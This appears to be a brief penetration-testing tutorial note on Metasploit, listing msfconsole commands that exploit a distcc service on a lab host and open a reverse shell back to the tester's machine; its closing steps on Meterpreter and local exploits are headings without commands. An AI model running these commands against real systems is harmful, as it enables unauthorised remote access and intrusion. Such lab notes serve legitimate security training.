Local Exploit Suggester

This will explain how we can use the Local Exploit Suggester function in Metasploit.

Run msfconsole to start the Metasploit.

>msfconsole

Search for an exploit

msf5 > search distcc

Execute the exploit

msf5 > use exploit/unix/misc/distcc_exec
msf5 exploit(unix/misc/distcc_exec) > options
msf5 exploit(unix/misc/distcc_exec) > set rhosts 10.10.0.50
msf5 exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse
msf5 exploit(unix/misc/distcc_exec) >set lhost 192.168.142.141
msf5 exploit(unix/misc/distcc_exec) >run

Background the session

# Ctrl+z

Background session 1? [y/N]  y

Upgrade the session to Meterpreter

Search local exploit # This is the most important part.

Run local exploit

Last updated